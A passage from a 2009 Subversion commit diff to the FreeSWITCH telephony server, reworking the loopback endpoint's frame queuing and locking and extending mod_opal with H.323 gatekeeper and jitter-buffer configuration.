-	if (tech_pvt->write_codec.implementation) {
+	if (switch_core_codec_ready(&tech_pvt->write_codec)) {
 		switch_core_codec_destroy(&tech_pvt->write_codec);
 	}
 
@@ -131,7 +137,7 @@
 									NULL, 
 									switch_core_session_get_pool(session));
 
-	if (status != SWITCH_STATUS_SUCCESS || !tech_pvt->read_codec.implementation) {
+	if (status != SWITCH_STATUS_SUCCESS || !tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
 		goto end;
 	}
 
@@ -154,13 +160,11 @@
 	tech_pvt->read_frame.data = tech_pvt->databuf;
 	tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
 	tech_pvt->read_frame.codec = &tech_pvt->read_codec;
+	
 
-	tech_pvt->write_frame.data = tech_pvt->write_databuf;
-	tech_pvt->write_frame.buflen = sizeof(tech_pvt->write_databuf);
-	
 	tech_pvt->cng_frame.data = tech_pvt->cng_databuf;
 	tech_pvt->cng_frame.buflen = sizeof(tech_pvt->cng_databuf);
-	switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
+	//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
 	tech_pvt->cng_frame.datalen = 2;
 
 	tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second / 
@@ -183,7 +187,9 @@
 
 	if (!tech_pvt->flag_mutex) {
 		switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+		switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
 		switch_core_session_set_private(session, tech_pvt);
+		switch_queue_create(&tech_pvt->frame_queue, FRAME_QUEUE_LEN, switch_core_session_get_pool(session));
 		tech_pvt->session = session;
 		tech_pvt->channel = switch_core_session_get_channel(session);
 	}
@@ -212,13 +218,20 @@
 	channel = switch_core_session_get_channel(session);
 	switch_assert(channel != NULL);
 	
+
+
 	if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND) && !switch_test_flag(tech_pvt, TFLAG_BLEG)) {
 		
-		if (!(b_session = switch_core_session_request(loopback_endpoint_interface, NULL))) {
+		if (!(b_session = switch_core_session_request(loopback_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Failure.\n");
 			goto end;
 		}
 	
+		if (switch_core_session_read_lock(b_session) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Failure.\n");
+			switch_core_session_destroy(&b_session);
+			goto end;
+		}
 		
 		switch_core_session_add_stream(b_session, NULL);
 		b_channel = switch_core_session_get_channel(b_session);
@@ -242,9 +255,11 @@
 		tech_pvt->other_tech_pvt = b_tech_pvt;
 		tech_pvt->other_channel = b_channel;
 
-		b_tech_pvt->other_session = session;
-		b_tech_pvt->other_tech_pvt = tech_pvt;
-		b_tech_pvt->other_channel = channel;
+		//b_tech_pvt->other_session = session;
+		//b_tech_pvt->other_tech_pvt = tech_pvt;
+		//b_tech_pvt->other_channel = channel;
+
+		b_tech_pvt->other_uuid = switch_core_session_strdup(b_session, switch_core_session_get_uuid(session));
 		
 		switch_set_flag_locked(tech_pvt, TFLAG_LINKED);
 		switch_set_flag_locked(b_tech_pvt, TFLAG_LINKED);
@@ -254,29 +269,27 @@
 		switch_channel_set_flag(channel, CF_ACCEPT_CNG);	
 		//switch_ivr_transfer_variable(session, tech_pvt->other_session, "process_cdr");
 		switch_ivr_transfer_variable(session, tech_pvt->other_session, NULL);
+		
+		switch_channel_set_variable(channel, "other_loopback_leg_uuid", switch_channel_get_uuid(b_channel));
+		switch_channel_set_variable(b_channel, "other_loopback_leg_uuid", switch_channel_get_uuid(channel));
 
 		if (switch_core_session_thread_launch(b_session) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error spawning thread\n");
 			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 			goto end;
 		}
-
-		switch_channel_set_variable(channel,"other_loopback_leg_uuid",switch_channel_get_uuid(b_channel));
-		switch_channel_set_variable(b_channel,"other_loopback_leg_uuid",switch_channel_get_uuid(channel));
-
+	} else if ((tech_pvt->other_session = switch_core_session_locate(tech_pvt->other_uuid))) {
+		tech_pvt->other_tech_pvt = 	switch_core_session_get_private(tech_pvt->other_session);
+		tech_pvt->other_channel = switch_core_session_get_channel(tech_pvt->other_session);
 	}
 	
-	if (tech_pvt->other_session) {
-		if (switch_core_session_read_lock(tech_pvt->other_session) != SWITCH_STATUS_SUCCESS) {
-			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
-			goto end;
-		}
-	} else {
+	if (!tech_pvt->other_session) {
+		switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
 		switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 		goto end;
 	}
 
-	switch_channel_set_variable(channel, "loopback_leg", switch_test_flag(tech_pvt, TFLAG_OUTBOUND) ? "B" : "A");
+	switch_channel_set_variable(channel, "loopback_leg", switch_test_flag(tech_pvt, TFLAG_BLEG) ? "B" : "A");
 	switch_channel_set_state(channel, CS_ROUTING);
 
  end:
@@ -289,10 +302,12 @@
 	switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
 	switch_set_flag_locked(tech_pvt, TFLAG_CNG);
 	
+	switch_mutex_lock(tech_pvt->mutex);
 	if (tech_pvt->other_tech_pvt) {
 		switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
 		switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_CNG);
 	}
+	switch_mutex_unlock(tech_pvt->mutex);
 }
 
 static switch_status_t channel_on_routing(switch_core_session_t *session)
@@ -325,10 +340,47 @@
 	assert(tech_pvt != NULL);
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(channel));
+	
+	return SWITCH_STATUS_SUCCESS;
+}
 
+static switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+	void *pop;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+
+	if (tech_pvt) {
+		switch_core_timer_destroy(&tech_pvt->timer);
+		
+		if (switch_core_codec_ready(&tech_pvt->read_codec)) {
+			switch_core_codec_destroy(&tech_pvt->read_codec);
+		}
+		
+		if (switch_core_codec_ready(&tech_pvt->write_codec)) {
+			switch_core_codec_destroy(&tech_pvt->write_codec);
+		}
+
+		if (tech_pvt->write_frame) {
+			switch_frame_free(&tech_pvt->write_frame);
+		}
+
+		while (switch_queue_trypop(tech_pvt->frame_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+			switch_frame_t *frame = (switch_frame_t *) pop;
+			switch_frame_free(&frame);
+		}
+	}
+
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
+
 static switch_status_t channel_on_hangup(switch_core_session_t *session)
 {
 	switch_channel_t *channel = NULL;
@@ -343,6 +395,7 @@
 
 	switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
 
+	switch_mutex_lock(tech_pvt->mutex);
 	if (tech_pvt->other_tech_pvt) {
 		switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_LINKED);
 		tech_pvt->other_tech_pvt = NULL;
@@ -354,9 +407,8 @@
 		tech_pvt->other_channel = NULL;
 		tech_pvt->other_session = NULL;
 	}
-
-	switch_core_timer_destroy(&tech_pvt->timer);
-
+	switch_mutex_unlock(tech_pvt->mutex);
+	
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -374,16 +426,20 @@
 	switch (sig) {
 	case SWITCH_SIG_BREAK:
 		switch_set_flag_locked(tech_pvt, TFLAG_CNG);
+		switch_mutex_lock(tech_pvt->mutex);
 		if (tech_pvt->other_tech_pvt) {
 			switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_CNG);
 		}
+		switch_mutex_unlock(tech_pvt->mutex);
 		break;
 	case SWITCH_SIG_KILL:
 		switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
 		switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
+		switch_mutex_lock(tech_pvt->mutex);
 		if (tech_pvt->other_tech_pvt) {
 			switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_LINKED);
 		}
+		switch_mutex_unlock(tech_pvt->mutex);
 		break;
 	default:
 		break;
@@ -449,7 +505,7 @@
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL CONSUME_MEDIA\n");
 
-	return SWITCH_STATUS_FALSE;
+	return SWITCH_STATUS_SUCCESS;
 }
 
 static switch_status_t channel_send_dtmf(switch_core_session_t *session, const switch_dtmf_t *dtmf)
@@ -471,6 +527,8 @@
 	switch_channel_t *channel = NULL;
 	private_t *tech_pvt = NULL;
 	switch_status_t status = SWITCH_STATUS_FALSE;
+	switch_mutex_t *mutex = NULL;
+	void *pop = NULL;
 
 	channel = switch_core_session_get_channel(session);
 	switch_assert(channel != NULL);
@@ -484,44 +542,61 @@
 	
 	*frame = NULL;
 	
-	while(switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
-		if (!switch_channel_ready(channel)) {
-			goto end;
-		}
-		if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
-			break;
-		}
-		
-		if (tech_pvt->other_tech_pvt && switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_WRITE)) {
-			break;
-		}
+	if (!switch_channel_ready(channel)) {
+		goto end;
+	}
 
-		if (switch_core_timer_check(&tech_pvt->timer, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
-			switch_set_flag(tech_pvt, TFLAG_CNG);
-			break;
-		}
+	switch_core_timer_next(&tech_pvt->timer);
+	
+	mutex = tech_pvt->mutex;
+	switch_mutex_lock(mutex);
 
-		switch_cond_next();
-	}
-
-	if (switch_test_flag(tech_pvt, TFLAG_LINKED)) {
-		if (tech_pvt->other_tech_pvt && switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_WRITE)) {
-			switch_core_timer_sync(&tech_pvt->timer);
-			*frame = &tech_pvt->other_tech_pvt->write_frame;
-			switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
-			switch_clear_flag_locked(tech_pvt, TFLAG_CNG);
+	if (switch_queue_trypop(tech_pvt->frame_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+		if (tech_pvt->write_frame) {
+			switch_frame_free(&tech_pvt->write_frame);
 		}
+		tech_pvt->write_frame = (switch_frame_t *) pop;
+		tech_pvt->write_frame->codec = &tech_pvt->read_codec;
+		*frame = tech_pvt->write_frame;
+	} else {
+		switch_set_flag(tech_pvt, TFLAG_CNG);
 	}
+	
+	if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
+		unsigned char data[SWITCH_RECOMMENDED_BUFFER_SIZE];
+		uint32_t flag = 0;
+		switch_status_t encode_status;
+		uint32_t rate = tech_pvt->read_codec.implementation->actual_samples_per_second;
 
-	if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
 		*frame = &tech_pvt->cng_frame;
 		tech_pvt->cng_frame.codec = &tech_pvt->read_codec;
-		switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
+		tech_pvt->cng_frame.datalen = tech_pvt->read_codec.implementation->decoded_bytes_per_packet;
+		memset(tech_pvt->cng_frame.data, 0, tech_pvt->cng_frame.datalen);
+		memset(&data, 0, sizeof(data));
+
+		if (strcasecmp(tech_pvt->read_codec.implementation->iananame, "L16")) {
+			encode_status = switch_core_codec_encode(&tech_pvt->read_codec,
+											  NULL,
+											  data,
+											  sizeof(data),
+											  tech_pvt->read_codec.implementation->actual_samples_per_second,
+
+											  tech_pvt->cng_frame.data,
+											  &tech_pvt->cng_frame.datalen,											  
+											  &rate,
+											  &flag);
+			if (encode_status != SWITCH_STATUS_SUCCESS) {
+				switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
+			}
+													 
+		}
+
+		//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
 		switch_clear_flag_locked(tech_pvt, TFLAG_CNG);
 	}
 
 
-	if (*frame && switch_test_flag(tech_pvt, TFLAG_LINKED)) {
+	if (*frame) {
 		status = SWITCH_STATUS_SUCCESS;
 	} else {
 		status = SWITCH_STATUS_FALSE;
@@ -529,6 +604,10 @@
 
  end:
 
+	if (mutex) {
+		switch_mutex_unlock(mutex);
+	}
+
 	return status;
 }
 
@@ -548,6 +627,7 @@
 		return SWITCH_STATUS_SUCCESS;
 	}
 
+	switch_mutex_lock(tech_pvt->mutex);
 	if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) && 
 		tech_pvt->other_tech_pvt && 
 		switch_test_flag(tech_pvt, TFLAG_BRIDGE) && 
@@ -560,40 +640,56 @@
 		) {
 		const char *a_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
 		const char *b_uuid = switch_channel_get_variable(tech_pvt->other_channel, SWITCH_SIGNAL_BOND_VARIABLE);
-				
+		const char *vetoa, *vetob;
+
 		switch_set_flag_locked(tech_pvt, TFLAG_BOWOUT);
 		switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_BOWOUT);
+
+		vetoa = switch_channel_get_variable(tech_pvt->channel, "loopback_bowout");
+		vetob = switch_channel_get_variable(tech_pvt->other_tech_pvt->channel, "loopback_bowout");
+		
+		if ((!vetoa || switch_true(vetoa)) && (!vetob || switch_true(vetob))) {
+			switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
+			switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
+			
+			if (a_uuid && b_uuid) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
+								  "%s detected bridge on both ends, attempting direct connection.\n", switch_channel_get_name(channel));
 				
-		switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
-		switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
-				
-		if (a_uuid && b_uuid) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
-							  "%s detected bridge on both ends, attempting direct connection.\n", switch_channel_get_name(channel));
-
-			/* channel_masquerade eat your heart out....... */
-			switch_ivr_uuid_bridge(a_uuid, b_uuid);
-
-			return SWITCH_STATUS_SUCCESS;
+				/* channel_masquerade eat your heart out....... */
+				switch_ivr_uuid_bridge(a_uuid, b_uuid);
+				switch_mutex_unlock(tech_pvt->mutex);
+				return SWITCH_STATUS_SUCCESS;
+			}
 		}
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_LINKED)) {
+	if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) { 
+		switch_frame_t *clone;
+
 		if (frame->codec->implementation != tech_pvt->write_codec.implementation) {
 			/* change codecs to match */
 			tech_init(tech_pvt, session, frame->codec);
 			tech_init(tech_pvt->other_tech_pvt, tech_pvt->other_session, frame->codec);
 		}
+
+		if (switch_queue_size(tech_pvt->other_tech_pvt->frame_queue) < FRAME_QUEUE_LEN) {
+			if (switch_frame_dup(frame, &clone) != SWITCH_STATUS_SUCCESS) {
+				abort();
+			}
+
+			if (switch_queue_trypush(tech_pvt->other_tech_pvt->frame_queue, clone) != SWITCH_STATUS_SUCCESS) {
+				switch_frame_free(&clone);
+			}
+
+			switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
+		}
 		
-		memcpy(&tech_pvt->write_frame, frame, sizeof(*frame));
-		tech_pvt->write_frame.data = tech_pvt->write_databuf;
-		tech_pvt->write_frame.buflen = sizeof(tech_pvt->write_databuf);
-		tech_pvt->write_frame.codec = &tech_pvt->write_codec;
-		memcpy(tech_pvt->write_frame.data, frame->data, frame->datalen);
-		switch_set_flag_locked(tech_pvt, TFLAG_WRITE);
 		status = SWITCH_STATUS_SUCCESS;
 	}
 
+	switch_mutex_unlock(tech_pvt->mutex);
+
 	return status;
 }
 
@@ -632,6 +728,33 @@
 	default:
 		break;
 	}
+
+	switch (msg->message_id) {
+	case SWITCH_MESSAGE_INDICATE_BRIDGE:
+	case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+	case SWITCH_MESSAGE_INDICATE_AUDIO_SYNC:
+		{
+			void *pop;
+
+			while (switch_queue_trypop(tech_pvt->frame_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+				switch_frame_t *frame = (switch_frame_t *) pop;
+				switch_frame_free(&frame);
+			}
+
+			while (switch_queue_trypop(tech_pvt->other_tech_pvt->frame_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+				switch_frame_t *frame = (switch_frame_t *) pop;
+				switch_frame_free(&frame);
+			}
+
+			switch_core_timer_sync(&tech_pvt->timer);
+
+		}
+		break;
+    default:
+        break;
+    }
+	
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -648,7 +771,7 @@
 		switch_channel_pre_answer(channel);
 	}
 
-	if ((*new_session = switch_core_session_request(loopback_endpoint_interface, pool)) != 0) {
+	if ((*new_session = switch_core_session_request(loopback_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
 		private_t *tech_pvt;
 		switch_channel_t *channel;
 		switch_caller_profile_t *caller_profile;
@@ -727,7 +850,11 @@
 	/*.on_soft_execute */ channel_on_soft_execute,
 	/*.on_consume_media */ channel_on_consume_media,
 	/*.on_hibernate */ channel_on_hibernate,
-	/*.on_reset */ channel_on_reset
+	/*.on_reset */ channel_on_reset,
+	/*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ channel_on_destroy
+
 };
 
 static switch_io_routines_t channel_io_routines = {

Property changes: freeswitch/branches/seven/src/mod/endpoints/mod_opal


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
Win32

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -24,7 +24,9 @@
 
 #include "mod_opal.h"
 #include <opal/patch.h>
+#include <rtp/rtp.h>
 #include <h323/h323pdu.h>
+#include <h323/gkclient.h>
 
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_codec_string, mod_opal_globals.codec_string);
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_context, mod_opal_globals.context);
@@ -47,6 +49,10 @@
 static const char ModuleName[] = "opal";
 
 
+static switch_status_t on_hangup(switch_core_session_t *session);
+static switch_status_t on_destroy(switch_core_session_t *session);
+
+
 static switch_io_routines_t opalfs_io_routines = {
     /*.outgoing_channel */ create_outgoing_channel,
     /*.read_frame */ FSConnection::read_audio_frame,
@@ -64,9 +70,15 @@
     /*.on_init */ FSConnection::on_init,
     /*.on_routing */ FSConnection::on_routing,
     /*.on_execute */ FSConnection::on_execute,
-    /*.on_hangup */ FSConnection::on_hangup,
-    /*.on_loopback */ FSConnection::on_loopback,
-    /*.on_transmit */ FSConnection::on_transmit
+    /*.on_hangup */ on_hangup,
+    /*.on_exchange_media */ FSConnection::on_exchange_media,
+    /*.on_soft_execute */ FSConnection::on_soft_execute,
+    /*.on_consume_media*/ NULL,
+    /*.on_hibernate*/ NULL,
+    /*.on_reset*/ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ on_destroy
 };
 
 
@@ -135,7 +147,7 @@
     PString token;
 
     FSManager & manager = opal_process->GetManager();
-    if (!manager.SetUpCall("local:", outbound_profile->destination_number, token)) {
+    if (!manager.SetUpCall("local:", outbound_profile->destination_number, token, outbound_profile)) {
         return SWITCH_CAUSE_INVALID_NUMBER_FORMAT;
     }
 
@@ -153,19 +165,6 @@
 
     *new_session = connection->GetSession();
 
-    connection->SetLocalPartyName(outbound_profile->caller_id_number);
-    connection->SetDisplayName(outbound_profile->caller_id_name);
-
-
-    switch_caller_profile_t *caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
-    switch_channel_t *channel = switch_core_session_get_channel(*new_session);
-    char name[256] = "opal/";
-    switch_copy_string(name + 5, outbound_profile->destination_number, sizeof(name)-5);
-    switch_channel_set_name(channel, name);
-    switch_channel_set_flag(channel, CF_OUTBOUND);
-    switch_channel_set_caller_profile(channel, caller_profile);
-    switch_channel_set_state(channel, CS_INIT);
-
     return SWITCH_CAUSE_SUCCESS;
 }
 
@@ -333,8 +332,6 @@
     m_FreeSwitch->io_routines = &opalfs_io_routines;
     m_FreeSwitch->state_handler = &opalfs_event_handlers;
 
-    SetAudioJitterDelay(800, 3000); // should be config option
-
     silenceDetectParams.m_mode = OpalSilenceDetector::NoSilenceDetection;
 
     if (m_listeners.empty()) {
@@ -351,6 +348,21 @@
     AddRouteEntry("iax2:.* = local:<da>");  // config option for direct routing
     AddRouteEntry("local:.* = h323:<da>");  // config option for direct routing
 
+    // Make sure all known codecs are instantiated,
+    // these are ones we know how to translate into H.323 capabilities
+    GetOpalG728();
+    GetOpalG729();
+    GetOpalG729A();
+    GetOpalG729B();
+    GetOpalG729AB();
+    GetOpalG7231_6k3();
+    GetOpalG7231_5k3();
+    GetOpalG7231A_6k3();
+    GetOpalG7231A_5k3();
+    GetOpalGSM0610();
+    GetOpalGSMAMR();
+    GetOpaliLBC();
+
     /* For compatibility with the algorithm in FSConnection::SetCodecs() we need
        to set all audio media formats to be 1 frame per packet */
     OpalMediaFormatList allCodecs = OpalMediaFormat::GetAllRegisteredMediaFormats();
@@ -361,6 +373,18 @@
       }
     }
 
+    if (!m_gkAddress.IsEmpty()) {
+      if (m_h323ep->UseGatekeeper(m_gkAddress, m_gkIdentifer, m_gkInterface))
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Started gatekeeper: %s\n",
+                          (const char *)m_h323ep->GetGatekeeper()->GetName());
+      else
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                          "Could not start gatekeeper: addr=\"%s\", id=\"%s\", if=\"%s\"\n",
+                          (const char *)m_gkAddress,
+                          (const char *)m_gkIdentifer,
+                          (const char *)m_gkInterface);
+    }
+
     return TRUE;
 }
 
@@ -388,30 +412,44 @@
     if (xml == NULL) {
         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
         return SWITCH_STATUS_FALSE;
-    } else {
-        switch_xml_t xmlSettings = switch_xml_child(cfg, "settings");
-        if (xmlSettings) {
-            for (switch_xml_t xmlParam = switch_xml_child(xmlSettings, "param"); xmlParam != NULL; xmlParam = xmlParam->next) {
-                const char *var = switch_xml_attr_soft(xmlParam, "name");
-                const char *val = switch_xml_attr_soft(xmlParam, "value");
+    }
 
-                if (!strcasecmp(var, "trace-level")) {
-                    int level = atoi(val);
-                    if (level > 0) {
-                        mod_opal_globals.trace_level = level;
-                    }
-                } else if (!strcasecmp(var, "context")) {
-                    set_global_context(val);
-                } else if (!strcasecmp(var, "dialplan")) {
-                    set_global_dialplan(val);
-                } else if (!strcasecmp(var, "codec-prefs")) {
-                    set_global_codec_string(val);
+    switch_xml_t xmlSettings = switch_xml_child(cfg, "settings");
+    if (xmlSettings) {
+        for (switch_xml_t xmlParam = switch_xml_child(xmlSettings, "param"); xmlParam != NULL; xmlParam = xmlParam->next) {
+            const char *var = switch_xml_attr_soft(xmlParam, "name");
+            const char *val = switch_xml_attr_soft(xmlParam, "value");
+
+            if (!strcasecmp(var, "trace-level")) {
+                int level = atoi(val);
+                if (level > 0) {
+                    mod_opal_globals.trace_level = level;
                 }
+            } else if (!strcasecmp(var, "context")) {
+                set_global_context(val);
+            } else if (!strcasecmp(var, "dialplan")) {
+                set_global_dialplan(val);
+            } else if (!strcasecmp(var, "codec-prefs")) {
+                set_global_codec_string(val);
+            } else if (!strcasecmp(var, "jitter-size")) {
+                char * next;
+                unsigned minJitter = strtoul(val, &next, 10);
+                if (minJitter >= 10) {
+                    unsigned maxJitter = minJitter;
+                    if (*next == ',')
+                      maxJitter = atoi(next+1);
+                    SetAudioJitterDelay(minJitter, maxJitter); // In milliseconds
+                }
+            } else if (!strcasecmp(var, "gk-address")) {
+                m_gkAddress = val;
+            } else if (!strcasecmp(var, "gk-identifer")) {
+                m_gkIdentifer = val;
+            } else if (!strcasecmp(var, "gk-interface")) {
+                m_gkInterface = val;
             }
         }
     }
 
-
     switch_xml_t xmlListeners = switch_xml_child(cfg, "listeners");
     if (xmlListeners != NULL) {
         for (switch_xml_t xmlListener = switch_xml_child(xmlListeners, "listener"); xmlListener != NULL; xmlListener = xmlListener->next) {
@@ -441,6 +479,8 @@
         }
     }
 
+    switch_event_destroy(&params);
+
     if (xml)
         switch_xml_free(xml);
 
@@ -448,6 +488,12 @@
 }
 
 
+OpalCall * FSManager::CreateCall(void * /*userData*/)
+{
+  return new FSCall(*this);
+}
+
+
 ///////////////////////////////////////////////////////////////////////
 
 FSEndPoint::FSEndPoint(FSManager & manager)
@@ -465,63 +511,78 @@
 
 OpalLocalConnection *FSEndPoint::CreateConnection(OpalCall & call, void *userData)
 {
-    return new FSConnection(call, *this);
-}
+    FSManager & mgr = (FSManager &) GetManager();
+    switch_core_session_t *fsSession = switch_core_session_request(mgr.GetSwitchInterface(), 
+                                       (switch_caller_profile_t *)userData ? SWITCH_CALL_DIRECTION_OUTBOUND : SWITCH_CALL_DIRECTION_INBOUND, NULL);
+    if (fsSession == NULL)
+        return NULL;
 
+    switch_channel_t *fsChannel = switch_core_session_get_channel(fsSession);
 
-bool FSEndPoint::AddMediaFormat(const switch_codec_implementation_t *codec)
-{
-    OpalMediaType mediaType;
+    if (fsChannel == NULL) {
+        switch_core_session_destroy(&fsSession);
+        return NULL;
+    }
 
-    switch (codec->codec_type) {
-      case SWITCH_CODEC_TYPE_AUDIO:
-        mediaType = OpalMediaType::Audio();
-        break;
+    return new FSConnection(call, *this, (switch_caller_profile_t *)userData, fsSession, fsChannel);
+}
 
-      case SWITCH_CODEC_TYPE_VIDEO:
-        mediaType = OpalMediaType::Video();
-        break;
 
-      case SWITCH_CODEC_TYPE_T38:
-        mediaType = OpalMediaType::Fax();
-        break;
+///////////////////////////////////////////////////////////////////////
 
-      default:
-        return false;
-    }
+FSCall::FSCall(OpalManager & manager)
+  : OpalCall(manager)
+{
+}
 
-    OpalMediaFormat * newMediaFormat = new OpalMediaFormat(codec->iananame,
-                                                           mediaType,
-                                                           (RTP_DataFrame::PayloadTypes) codec->ianacode,
-                                                           codec->iananame,
-                                                           codec->codec_type == SWITCH_CODEC_TYPE_AUDIO,
-                                                           codec->bits_per_second,
-                                                           codec->encoded_bytes_per_packet,
-                                                           codec->samples_per_packet,
-                                                           codec->samples_per_second);
-    if (newMediaFormat == NULL || !newMediaFormat->IsValid()) {
-        return false;
+
+PBoolean FSCall::OnSetUp(OpalConnection & connection)
+{
+  // Transfer FS caller_id_number & caller_id_name from the FSConnection
+  // to the protocol connectionm (e.g. H.323) so gets sent correctly
+  // in outgoing packets
+  PSafePtr<FSConnection> local = GetConnectionAs<FSConnection>();
+  if (local != NULL) {
+    PSafePtr<OpalConnection> proto = local->GetOtherPartyConnection();
+    if (proto != NULL) {
+      proto->SetLocalPartyName(local->GetLocalPartyName());
+      proto->SetDisplayName(local->GetDisplayName());
     }
+  }
 
-    // Save pointer so will auto delete allocated objects on destruction.
-    m_globalMediaFormats.Append(newMediaFormat);
-
-    PTRACE(2, "mod_opal\tNew OPAL media format created for FS codec: iananame=" << codec->iananame
-           << ", ianacode=" << codec->ianacode << ", rate=" << codec->samples_per_second);
-    return true;
+  return OpalCall::OnSetUp(connection);
 }
 
 
 ///////////////////////////////////////////////////////////////////////
 
-FSConnection::FSConnection(OpalCall & call, FSEndPoint & endpoint)
+
+FSConnection::FSConnection(OpalCall & call, FSEndPoint & endpoint, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel)
   : OpalLocalConnection(call, endpoint, NULL)
   , m_endpoint(endpoint)
+  , m_fsSession(fsSession)
+  , m_fsChannel(fsChannel)
 {
-    FSManager & mgr = (FSManager &) endpoint.GetManager();
-    m_fsSession = switch_core_session_request(mgr.GetSwitchInterface(), NULL);
-    m_fsChannel = switch_core_session_get_channel(m_fsSession);
-    switch_core_session_set_private(m_fsSession, this);
+    opal_private_t *tech_pvt;
+
+    tech_pvt = (opal_private_t *) switch_core_session_alloc(m_fsSession, sizeof(*tech_pvt));
+    tech_pvt->me = this;
+    switch_core_session_set_private(m_fsSession, tech_pvt);
+
+    if (outbound_profile != NULL) {
+        SetLocalPartyName(outbound_profile->caller_id_number);
+        SetDisplayName(outbound_profile->caller_id_name);
+
+        switch_caller_profile_t *caller_profile = switch_caller_profile_clone(m_fsSession, outbound_profile);
+        switch_channel_set_caller_profile(m_fsChannel, caller_profile);
+
+        PString name = "opal/";
+        name += outbound_profile->destination_number;
+        switch_channel_set_name(m_fsChannel, name);
+
+        switch_channel_set_flag(m_fsChannel, CF_OUTBOUND);
+        switch_channel_set_state(m_fsChannel, CS_INIT);
